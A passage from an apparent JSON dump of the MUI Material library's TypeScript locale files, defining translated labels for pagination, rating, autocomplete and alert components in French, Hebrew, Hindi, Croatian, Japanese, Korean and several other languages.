{\n      defaultProps: {\n        getLabelText: (value) => `${value} Täht${value !== 1 ? 'eä' : 'i'}`,\n        emptyLabelText: 'Tyhjä',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Tyhjennä',\n        closeText: 'Sulje',\n        loadingText: 'Ladataan…',\n        noOptionsText: 'Ei valintoja',\n        openText: 'Avaa',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Sulje',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Sivutus navigaatio',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? 'sivu' : 'Mene sivulle'} ${page}`;\n          }\n          if (type === 'first') {\n            return 'Mene ensimmäiselle sivulle';\n          }\n          if (type === 'last') {\n            return 'Mene viimeiselle sivulle';\n          }\n          if (type === 'next') {\n            return 'Mene seuraavalle sivulle';\n          }\n          // if (type === 'previous') {\n          return 'Mene edelliselle sivulle';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/frFR.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('fr-FR');\n\nexport const frFR: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Montrer le chemin',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Aller à la première page';\n          }\n          if (type === 'last') {\n            return 'Aller à la dernière page';\n          }\n          if (type === 'next') {\n            return 'Aller à la page suivante';\n          }\n          // if (type === 'previous') {\n          return 'Aller à la page précédente';\n        },\n        labelRowsPerPage: 'Lignes par page :',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} sur ${count !== -1 ? formatNumber(count) : `plus que ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Etoile${value !== 1 ? 's' : ''}`,\n        emptyLabelText: 'Vide',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Vider',\n        closeText: 'Fermer',\n        loadingText: 'Chargement…',\n        noOptionsText: 'Pas de résultats',\n        openText: 'Ouvrir',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Fermer',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'navigation de pagination',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Aller à la '}page ${page}`;\n          }\n          if (type === 'first') {\n            return 'Aller à la première page';\n          }\n          if (type === 'last') {\n            return 'Aller à la dernière page';\n          }\n          if (type === 'next') {\n            return 'Aller à la page suivante';\n          }\n          // if (type === 'previous') {\n          return 'Aller à la page précédente';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/heIL.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('he-IL');\n\nexport const heIL: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'הצג נתיב',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'לעמוד הראשון';\n          }\n          if (type === 'last') {\n            return 'לעמוד האחרון';\n          }\n          if (type === 'next') {\n            return 'לעמוד הבא';\n          }\n          // if (type === 'previous') {\n          return 'לעמוד הקודם';\n        },\n        labelRowsPerPage: 'שורות בעמוד:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} מתוך ${count !== -1 ? formatNumber(count) : `יותר מ ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} כוכב${value !== 1 ? 'ים' : ''}`,\n        emptyLabelText: 'ריק',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'נקה',\n        closeText: 'סגור',\n        loadingText: 'טוען…',\n        noOptionsText: 'אין אופציות',\n        openText: 'פתח',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'סגור',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'ניווט בעמודים',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'ל '}עמוד ${page}`;\n          }\n          if (type === 'first') {\n            return 'לעמוד הראשון';\n          }\n          if (type === 'last') {\n            return 'לעמוד האחרון';\n          }\n          if (type === 'next') {\n            return 'לעמוד הבא';\n          }\n          // if (type === 'previous') {\n          return 'לעמוד הקודם';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/hiIN.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('hi-IN');\n\nexport const hiIN: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'रास्ता दिखायें',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'पहले पृष्ठ पर जाएँ';\n          }\n          if (type === 'last') {\n            return 'अंतिम पृष्ठ पर जाएँ';\n          }\n          if (type === 'next') {\n            return 'अगले पृष्ठ पर जाएँ';\n          }\n          // if (type === 'previous') {\n          return 'पिछले पृष्ठ पर जाएँ';\n        },\n        labelRowsPerPage: 'पंक्तियाँ प्रति पृष्ठ:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}-${to === -1 ? formatNumber(count) : formatNumber(to)} कुल ${formatNumber(count)} में`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} तार${value !== 1 ? 'े' : 'ा'}`,\n        emptyLabelText: 'रिक्त',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'हटायें',\n        closeText: 'बंद करें',\n        loadingText: 'लोड हो रहा है…',\n        noOptionsText: 'कोई विकल्प नहीं',\n        openText: 'खोलें',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'बंद करें',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'पृस्ठानुसार संचालन',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `पृष्ठ ${page} ${selected ? '' : ' पर जाएँ'}`;\n          }\n          if (type === 'first') {\n            return 'पहले पृष्ठ पर जाएँ';\n          }\n          if (type === 'last') {\n            return 'अंतिम पृष्ठ पर जाएँ';\n          }\n          if (type === 'next') {\n            return 'अगले पृष्ठ पर जाएँ';\n          }\n          // if (type === 'previous') {\n          return 'पिछले पृष्ठ पर जाएँ';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/hrHR.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('hr-HR');\n\n// Croatian - Hrvatski\nexport const hrHR: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Pokaži putanju',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Idi na prvu stranicu';\n          }\n          if (type === 'last') {\n            return 'Idi na posljednju stranicu';\n          }\n          if (type === 'next') {\n            return 'Idi na sljedeću stranicu';\n          }\n          // if (type === 'previous') {\n          return 'Idi na prethodnu stranicu';\n        },\n        labelRowsPerPage: 'Redova po stranici:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} od ${count !== -1 ? formatNumber(count) : `više nego ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          const lastDigit = value % 10;\n          const lastTwoDigits = value % 100;\n          if ([2, 3, 4].includes(lastDigit) && ![12, 13, 14].includes(lastTwoDigits)) {\n            return 'Zvijezde';\n          }\n          return 'Zvijezda';\n        },\n        emptyLabelText: 'Prazno',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Briši',\n        closeText: 'Zatvori',\n        loadingText: 'Učitavanje…',\n        noOptionsText: 'Nema opcija',\n        openText: 'Otvori',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Zatvori',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigacija po stranicama',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Idi na '}stranicu ${page}`;\n          }\n          if (type === 'first') {\n            return 'Idi na prvu stranicu';\n          }\n          if (type === 'last') {\n            return 'Idi na zadnju stranicu';\n          }\n          if (type === 'next') {\n            return 'Idi na sljedeću stranicu';\n          }\n          // if (type === 'previous') {\n          return 'Idi na prethodnu stranicu';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/huHU.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\n\nexport const huHU: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Útvonal',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Első oldalra';\n          }\n          if (type === 'last') {\n            return 'Utolsó oldalra';\n          }\n          if (type === 'next') {\n            return 'Következő oldalra';\n          }\n          // if (type === 'previous') {\n          return 'Előző oldalra';\n        },\n        labelRowsPerPage: 'Sorok száma:',\n        // labelDisplayedRows: ({ from, to, count }) =>\n        //   `${from}–${to} / ${count !== -1 ? count : `more than ${to}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Csillag`,\n        emptyLabelText: 'Üres',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Törlés',\n        closeText: 'Bezárás',\n        loadingText: 'Töltés…',\n        noOptionsText: 'Nincs találat',\n        openText: 'Megnyitás',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Bezárás',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Lapozás',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${page}. oldal${selected ? '' : 'ra'}`;\n          }\n          if (type === 'first') {\n            return 'Első oldalra';\n          }\n          if (type === 'last') {\n            return 'Utolsó oldalra';\n          }\n          if (type === 'next') {\n            return 'Következő oldalra';\n          }\n          // if (type === 'previous') {\n          return 'Előző oldalra';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/hyAM.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\n\nexport const hyAM: Localization = {\n  components: {\n    // MuiBreadcrumbs: {\n    //   defaultProps: {\n    //     expandText: 'Show path',\n    //   },\n    // },\n    MuiTablePagination: {\n      defaultProps: {\n        // getItemAriaLabel: (type) => {\n        //   if (type === 'first') {\n        //     return 'Go to first page';\n        //   }\n        //   if (type === 'last') {\n        //     return 'Go to last page';\n        //   }\n        //   if (type === 'next') {\n        //     return 'Go to next page';\n        //   }\n        //   // if (type === 'previous') {\n        //   return 'Go to previous page';\n        // },\n        labelRowsPerPage: 'Տողեր մեկ էջում`',\n        // labelDisplayedRows: ({ from, to, count }) =>\n        //   `${from}–${to} / ${count !== -1 ? count : `more than ${to}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Աստղ`,\n        emptyLabelText: 'Դատարկ',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Մաքրել',\n        closeText: 'Փակել',\n        loadingText: 'Բեռնում…',\n        noOptionsText: 'Տարբերակներ չկան',\n        openText: 'Բացել',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Փակել',\n      },\n    },\n    // MuiPagination: {\n    //   defaultProps: {\n    //     'aria-label': 'Pagination navigation',\n    //     getItemAriaLabel: (type, page, selected) => {\n    //       if (type === 'page') {\n    //         return `${selected ? '' : 'Go to '}page ${page}`;\n    //       }\n    //       if (type === 'first') {\n    //         return 'Go to first page';\n    //       }\n    //       if (type === 'last') {\n    //         return 'Go to last page';\n    //       }\n    //       if (type === 'next') {\n    //         return 'Go to next page';\n    //       }\n    //       // if (type === 'previous') {\n    //       return 'Go to previous page';\n    //     },\n    //   },\n    // },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/idID.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\n\nexport const idID: Localization = {\n  components: {\n    // MuiBreadcrumbs: {\n    //   defaultProps: {\n    //     expandText: 'Show path',\n    //   },\n    // },\n    MuiTablePagination: {\n      defaultProps: {\n        // getItemAriaLabel: (type) => {\n        //   if (type === 'first') {\n        //     return 'Go to first page';\n        //   }\n        //   if (type === 'last') {\n        //     return 'Go to last page';\n        //   }\n        //   if (type === 'next') {\n        //     return 'Go to next page';\n        //   }\n        //   // if (type === 'previous') {\n        //   return 'Go to previous page';\n        // },\n        labelRowsPerPage: 'Baris per halaman:',\n        // labelDisplayedRows: ({ from, to, count }) =>\n        //   `${from}–${to} dari ${count !== -1 ? count : `more than ${to}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Bintang`,\n        // emptyLabelText: 'Empty',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Hapus',\n        closeText: 'Tutup',\n        loadingText: 'Memuat…',\n        noOptionsText: 'Tidak ada opsi',\n        openText: 'Buka',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Tutup',\n      },\n    },\n    // MuiPagination: {\n    //   defaultProps: {\n    //     'aria-label': 'Pagination navigation',\n    //     getItemAriaLabel: (type, page, selected) => {\n    //       if (type === 'page') {\n    //         return `${selected ? '' : 'Go to '}page ${page}`;\n    //       }\n    //       if (type === 'first') {\n    //         return 'Go to first page';\n    //       }\n    //       if (type === 'last') {\n    //         return 'Go to last page';\n    //       }\n    //       if (type === 'next') {\n    //         return 'Go to next page';\n    //       }\n    //       // if (type === 'previous') {\n    //       return 'Go to previous page';\n    //     },\n    //   },\n    // },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/index.ts",
    "content": "export * from './utils/LocaleTextApi';\nexport * from './amET';\nexport * from './arEG';\nexport * from './arSA';\nexport * from './arSD';\nexport * from './azAZ';\nexport * from './beBY';\nexport * from './bgBG';\nexport * from './bnBD';\nexport * from './caES';\nexport * from './csCZ';\nexport * from './daDK';\nexport * from './deDE';\nexport * from './elGR';\nexport * from './enUS';\nexport * from './esES';\nexport * from './etEE';\nexport * from './faIR';\nexport * from './fiFI';\nexport * from './frFR';\nexport * from './heIL';\nexport * from './hiIN';\nexport * from './hrHR';\nexport * from './huHU';\nexport * from './hyAM';\nexport * from './idID';\nexport * from './isIS';\nexport * from './itIT';\nexport * from './jaJP';\nexport * from './khKH';\nexport * from './koKR';\nexport * from './kuCKB';\nexport * from './kuLatn';\nexport * from './kkKZ';\nexport * from './mkMK';\nexport * from './msMS';\nexport * from './myMY';\nexport * from './nbNO';\nexport * from './neNP';\nexport * from './nnNO';\nexport * from './nlNL';\nexport * from './plPL';\nexport * from './psAF';\nexport * from './ptBR';\nexport * from './ptPT';\nexport * from './roRO';\nexport * from './ruRU';\nexport * from './siLK';\nexport * from './skSK';\nexport * from './srRS';\nexport * from './svSE';\nexport * from './thTH';\nexport * from './trTR';\nexport * from './tlTL';\nexport * from './ukUA';\nexport * from './urPK';\nexport * from './viVN';\nexport * from './zhCN';\nexport * from './zhHK';\nexport * from './zhTW';\n"
  },
  {
    "path": "packages/mui-material/src/locale/isIS.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('is-IS');\n\nexport const isIS: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Sýna slóð',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Fara á fyrstu síðu';\n          }\n          if (type === 'last') {\n            return 'Fara á síðustu síðu';\n          }\n          if (type === 'next') {\n            return 'Fara á næstu síðu';\n          }\n          // if (type === 'previous') {\n          return 'Fara á fyrri síðu';\n        },\n        labelRowsPerPage: 'Raðir á síðu:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} af ${count !== -1 ? formatNumber(count) : `fleiri en ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ${value === 1 ? 'stjarna' : 'stjörnur'}`,\n        emptyLabelText: 'Tómt',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Hreinsa',\n        closeText: 'Loka',\n        loadingText: 'Hlaða…',\n        noOptionsText: 'Engar niðurstöður',\n        openText: 'Opna',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Loka',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Síðuflakk',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? 'Síða' : 'Fara á síðu'} ${page}`;\n          }\n          if (type === 'first') {\n            return 'Fara á fyrstu síðu';\n          }\n          if (type === 'last') {\n            return 'Fara á síðustu síðu';\n          }\n          if (type === 'next') {\n            return 'Fara á næstu síðu';\n          }\n          // if (type === 'previous') {\n          return 'Fara á fyrri síðu';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/itIT.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('it-IT');\n\nexport const itIT: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Visualizza percorso',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Vai alla prima pagina';\n          }\n          if (type === 'last') {\n            return \"Vai all'ultima pagina\";\n          }\n          if (type === 'next') {\n            return 'Vai alla pagina successiva';\n          }\n          // if (type === 'previous') {\n          return 'Vai alla pagina precedente';\n        },\n        labelRowsPerPage: 'Righe per pagina:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} di ${count !== -1 ? formatNumber(count) : `più di ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Stell${value !== 1 ? 'e' : 'a'}`,\n        emptyLabelText: 'Vuoto',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Svuota',\n        closeText: 'Chiudi',\n        loadingText: 'Caricamento in corso…',\n        noOptionsText: 'Nessuna opzione',\n        openText: 'Apri',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Chiudi',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigazione impaginata',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Vai alla '}pagina ${page}`;\n          }\n          if (type === 'first') {\n            return 'Vai alla prima pagina';\n          }\n          if (type === 'last') {\n            return \"Vai all'ultima pagina\";\n          }\n          if (type === 'next') {\n            return 'Vai alla pagina successiva';\n          }\n          // if (type === 'previous') {\n          return 'Vai alla pagina precedente';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/jaJP.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ja-JP');\n\nexport const jaJP: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'すべて表示',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return '最初のページへ';\n          }\n          if (type === 'last') {\n            return '最後のページへ';\n          }\n          if (type === 'next') {\n            return '次のページへ';\n          }\n          // if (type === 'previous') {\n          return '前のページへ';\n        },\n        labelRowsPerPage: 'ページあたりの行数:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}～${formatNumber(to)} / ${count !== -1 ? formatNumber(count) : `${formatNumber(to)}以上`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `星${value}`,\n        emptyLabelText: '星なし',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'クリア',\n        closeText: '閉じる',\n        loadingText: '読み込み中…',\n        noOptionsText: 'データがありません',\n        openText: '開く',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: '閉じる',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'ページ選択',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `ページ${page}${selected ? '' : 'へ'}`;\n          }\n          if (type === 'first') {\n            return '最初のページへ';\n          }\n          if (type === 'last') {\n            return '最後のページへ';\n          }\n          if (type === 'next') {\n            return '次のページへ';\n          }\n          // if (type === 'previous') {\n          return '前のページへ';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/khKH.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('kh-KH');\n\nexport const khKH: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'បង្ហាញផ្លូវ',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'ទៅទំព័រដំបូង';\n          }\n          if (type === 'last') {\n            return 'ទៅទំព័រចុងក្រោយ';\n          }\n          if (type === 'next') {\n            return 'ទៅទំព័របន្ទាប់';\n          }\n          // if (type === 'previous') {\n          return 'ទៅទំព័រមុន';\n        },\n        labelRowsPerPage: 'ចំនួនជួរដេកក្នុងមួយទំព័រ:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)} - ${formatNumber(to)} នៃ ${count !== -1 ? formatNumber(count) : `ច្រើនជាង ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ផ្កាយ${value !== 1 ? '' : ''}`,\n        emptyLabelText: 'ទទេ',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'លុបចោល',\n        closeText: 'បិទ',\n        loadingText: 'កំពុងលោត…',\n        noOptionsText: 'គ្មានជម្រើស',\n        openText: 'បើក',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'បិទ',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'រុករកទំព័រ',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'ទៅ '}ទំព័រ ${page}`;\n          }\n          if (type === 'first') {\n            return 'ទៅទំព័រដំបូង';\n          }\n          if (type === 'last') {\n            return 'ទៅទំព័រចុងក្រោយ';\n          }\n          if (type === 'next') {\n            return 'ទៅទំព័របន្ទាប់';\n          }\n          // if (type === 'previous') {\n          return 'ទៅទំព័រមុន';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/kkKZ.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('kk-KZ');\n\nexport const kkKZ: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Толық жолды көрсету',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Бірінші бетке өту';\n          }\n          if (type === 'last') {\n            return 'Соңғы бетке өту';\n          }\n          if (type === 'next') {\n            return 'Келесі бетке өту';\n          }\n          // if (type === 'previous') {\n          return 'Алдыңғы бетке өту';\n        },\n        labelRowsPerPage: 'Беттегі қатарлар:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${count !== -1 ? formatNumber(count) : `+${formatNumber(to)}`} қатардың ішінен ${formatNumber(from)}–${formatNumber(to)}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} жұлдыз`,\n        emptyLabelText: 'Рейтинг жоқ',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Тазарту',\n        closeText: 'Жабу',\n        loadingText: 'Жүктелуде…',\n        noOptionsText: 'Қол жетімді нұсқалар жоқ',\n        openText: 'Ашу',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Жабу',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Беттерді шарлау',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            if (selected) {\n              return `${page} — бет`;\n            }\n            return `${page} — бетке өту`;\n          }\n          if (type === 'first') {\n            return 'Бірінші бетке өту';\n          }\n          if (type === 'last') {\n            return 'Соңғы бетке өту';\n          }\n          if (type === 'next') {\n            return 'Келесі бетке өту';\n          }\n          // if (type === 'previous') {\n          return 'Алдыңғы бетке өту';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/koKR.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ko-KR');\n\nexport const koKR: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: '경로 보기',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return '첫 번째 페이지로 이동';\n          }\n          if (type === 'last') {\n            return '마지막 페이지로 이동';\n          }\n          if (type === 'next') {\n            return '다음 페이지로 이동';\n          }\n          // if (type === 'previous') {\n          return '이전 페이지로 이동';\n        },\n        labelRowsPerPage: '페이지 당 행:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} / ${count !== -1 ? formatNumber(count) : `${formatNumber(to)}개 이상`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} 점`,\n        emptyLabelText: '빈 텍스트',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: '지우기',\n        closeText: '닫기',\n        loadingText: '불러오는 중…',\n        noOptionsText: '옵션 없음',\n        openText: '열기',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: '닫기',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': '페이지네이션 네비게이션',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${page} 번째 페이지${selected ? '' : '로 이동'}`;\n          }\n          if (type === 'first') {\n            return '첫 번째 페이지로 이동';\n          }\n          if (type === 'last') {\n            return '마지막 페이지로 이동';\n          }\n          if (type === 'next') {\n            return '다음 페이지로 이동';\n          }\n          // if (type === 'previous') {\n          return '이전 페이지로 이동';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/kuCKB.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ku-CKB');\n\nexport const kuCKB: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'ڕێچکە پیشان بدە',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'چوونە یەکەم پەڕە';\n          }\n          if (type === 'last') {\n            return 'چوونە کۆتا پەڕە';\n          }\n          if (type === 'next') {\n            return 'چوونە پەڕەی دواتر';\n          }\n          // if (type === 'previous') {\n          return 'گەڕانەوە بۆ پەڕەی پێشوو';\n        },\n        labelRowsPerPage: 'ژمارەی ڕیزەکان لە هەر پەڕەیەک:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} لە ${count !== -1 ? formatNumber(count) : ` زیاترە لە${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ${value !== 1 ? 'ئەستێرەکان' : 'ئەستێرە'}`,\n        emptyLabelText: 'خاڵیە',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'سڕینەوە',\n        closeText: 'داخستن',\n        loadingText: 'لە بارکردندایە…',\n        noOptionsText: 'هیچ بژاردەیەک نیە',\n        openText: 'کردنەوە',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'داخستن',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'گەڕان لە پەڕەکان',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'چوون بۆ '} پەڕەی ${page}`;\n          }\n          if (type === 'first') {\n            return 'چوونە یەکەم پەڕە';\n          }\n          if (type === 